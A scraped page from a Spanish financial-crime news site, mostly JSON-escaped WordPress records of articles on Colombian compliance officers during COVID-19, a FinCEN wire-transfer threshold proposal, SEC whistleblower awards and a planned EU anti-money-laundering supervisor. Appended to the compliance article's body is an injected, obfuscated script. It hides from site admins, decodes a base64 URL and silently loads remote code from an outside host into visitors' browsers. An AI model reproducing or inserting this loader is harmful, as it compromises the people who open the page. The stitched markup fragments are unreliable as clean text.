comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE 